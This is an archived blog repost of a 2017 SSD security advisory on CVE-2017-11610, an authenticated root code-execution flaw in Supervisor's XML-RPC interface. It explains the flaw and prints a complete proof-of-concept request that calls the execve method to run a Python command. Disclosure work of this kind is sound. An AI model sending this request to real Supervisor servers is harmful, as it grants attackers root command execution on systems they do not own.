{"id":8466,"date":"2017-07-26T14:19:33","date_gmt":"2017-07-26T22:19:33","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/07\/26\/news-2240\/"},"modified":"2017-07-26T14:19:33","modified_gmt":"2017-07-26T22:19:33","slug":"news-2240","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/07\/26\/news-2240\/","title":{"rendered":"SSD Advisory \u2013 Supervisor Authenticated Remote Code Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 26 Jul 2017 10:45:54 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3348\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3348');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes an authenticated remote code execution vulnerability in Supervisor version 3.1.2 and Supervisor version 3.3.2.<\/p>\n<p>Supervisor is a client\/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems &#8211; used to control processes related to a project or a customer, and is meant to start like any other program at boot time.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher, Calum Hutton, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> The vendor has released patches to address this vulnerability.<br \/> For more information: <a href=\"https:\/\/github.com\/Supervisor\/supervisor\/issues\/964\" target=\"_blank\">https:\/\/github.com\/Supervisor\/supervisor\/issues\/964<\/a><br \/> CVE: CVE-2017-11610<\/p>\n<p><span id=\"more-3348\"><\/span><\/p>\n<p><strong>Vulnerability details<\/strong><br \/> Supervisord provides a web server, running on port 9001, that allows users to manage their processes using a web interface. When this server is enabled, an XMLRPC server is also enabled at :9001\/RPC2<\/p>\n<p>Any user with access to the web interface can also send commands to the XMLRPC endpoint. Authentication may be required for access, and is determined in the config file.<\/p>\n<p>It is possible to abuse the XMLRPC server to issue malicious commands (which are somewhat restricted) at the OS level as the root user, because of a lack of validation on requested XMLRPC methods.<\/p>\n<p>There are two allowed namespaces for the allowed XMLRPC methods, system and supervisor, mapped to <a href=\"https:\/\/github.com\/Supervisor\/supervisor\/blob\/3.3.2\/supervisor\/xmlrpc.py#L174\" target=\"_blank\">https:\/\/github.com\/Supervisor\/supervisor\/blob\/3.3.2\/supervisor\/xmlrpc.py#L174<\/a><br \/> and <a href=\"https:\/\/github.com\/Supervisor\/supervisor\/blob\/3.3.2\/supervisor\/xmlrpc.py#L174\" target=\"_blank\">https:\/\/github.com\/Supervisor\/supervisor\/blob\/3.3.2\/supervisor\/xmlrpc.py#L174<\/a>,<br \/> respectively. Allowed methods include (snippet of the XML response to system.listMethods):<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-597915748c638463437742\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;value&gt;&lt;string&gt;supervisor.getPID&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.getProcessInfo&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.getState&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.getSupervisorVersion&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.getVersion&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.readLog&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.readMainLog&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.readProcessLog&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.readProcessStderrLog&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.readProcessStdoutLog&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.reloadConfig&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.removeProcessGroup&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.restart&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.sendProcessStdin&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.sendRemoteCommEvent&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;supervisor.shutdown&lt;\/string&gt;&lt;\/value&gt; <\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0037 seconds] -->  <\/p>\n<p>It is possible to access the malicious functions by appending <em>supervisord.options<\/em> to the namespace. In particular, the execve function in <a href=\"https:\/\/github.com\/Supervisor\/supervisor\/blob\/3.3.2\/supervisor\/options.py#L1438\" target=\"_blank\">https:\/\/github.com\/Supervisor\/supervisor\/blob\/3.3.2\/supervisor\/options.py#L1438<\/a> which simply calls Pythons own <em>os.execve()<\/em> function. <\/p>\n<p><strong>Proof of Concept<\/strong><br \/> The following POST request triggers the vulnerability in <em>supervisor.supervisord.options.execve<\/em> function which allows an attacker to execute arbitrary commands as root. <\/p>\n<p>The below payload utilises python on the target system to touch a file at \/tmp\/blahh:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-597915748c643049479482\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> POST http:\/\/192.168.0.15:9001\/RPC2 HTTP\/1.1  User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko\/20100101 Firefox\/52.0  Accept: text\/xml  Content-Type: text\/xml  Accept-Language: en-GB,en;q=0.5  Connection: keep-alive  Upgrade-Insecure-Requests: 1  Content-Length: 503  Host: 192.168.0.15:9001    &lt;?xml version=&#8221;1.0&#8243;?&gt;  &lt;methodCall&gt;  &lt;methodName&gt;supervisor.supervisord.options.execve&lt;\/methodName&gt;  &lt;params&gt;  &lt;param&gt;  &lt;string&gt;\/usr\/bin\/python&lt;\/string&gt;  &lt;\/param&gt;  &lt;param&gt;  &lt;array&gt;  &lt;data&gt;  &lt;value&gt;&lt;string&gt;python&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;-c&lt;\/string&gt;&lt;\/value&gt;  &lt;value&gt;&lt;string&gt;import os; os.system(&#8220;touch \/tmp\/blahh&#8221;)&lt;\/string&gt;&lt;\/value&gt;  &lt;\/data&gt;  &lt;\/array&gt;  &lt;\/param&gt;  &lt;param&gt;  &lt;struct&gt;  &lt;\/struct&gt;  &lt;\/param&gt;  &lt;\/params&gt;  &lt;\/methodCall&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-597915748c643049479482-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-597915748c643049479482-32\">32<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-1\"><span class=\"crayon-e\">POST <\/span><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/192.168.0.15:9001\/RPC2 HTTP\/1.1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-2\"><span class=\"crayon-v\">User<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Agent<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Mozilla<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">5.0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Macintosh<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Intel <\/span><span class=\"crayon-e\">Mac <\/span><span class=\"crayon-i\">OS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">X<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">10.12<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rv<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">52.0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Gecko<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">20100101<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Firefox<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">52.0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-3\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">xml<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-4\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">xml<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-5\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Language<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">en<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">GB<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">en<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0.5<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-6\"><span class=\"crayon-v\">Connection<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">keep<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">alive<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-7\"><span class=\"crayon-v\">Upgrade<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Insecure<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Requests<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-8\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Length<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">503<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-9\"><span class=\"crayon-v\">Host<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">192.168.0.15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">9001<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-11\"><span class=\"crayon-ta\">&lt;?<\/span><span class=\"crayon-e\">xml <\/span><span class=\"crayon-i\">version<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;1.0&#8221;<\/span><span class=\"crayon-ta\">?&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-12\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">methodCall<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-13\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">methodName<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-v\">supervisor<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">supervisord<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">execve<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">methodName<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-14\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-15\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">param<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-16\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">python<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-17\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">param<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-18\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">param<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-19\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-20\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-21\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-v\">python<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-22\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-23\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">system<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;touch \/tmp\/blahh&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">string<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-24\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-25\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-26\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">param<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-27\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">param<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-28\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-29\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-30\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">param<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597915748c643049479482-31\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597915748c643049479482-32\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">methodCall<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0051 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3348\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 26 Jul 2017 10:45:54 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes an authenticated remote code execution vulnerability in Supervisor version 3.1.2 and Supervisor version 3.3.2. Supervisor is a client\/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems &#8211; used to control processes related to a project or a customer, and is &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3348\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Supervisor Authenticated Remote Code Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11682,10757],"class_list":["post-8466","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-remote-code-execution","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8466","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=8466"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8466\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=8466"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=8466"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=8466"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}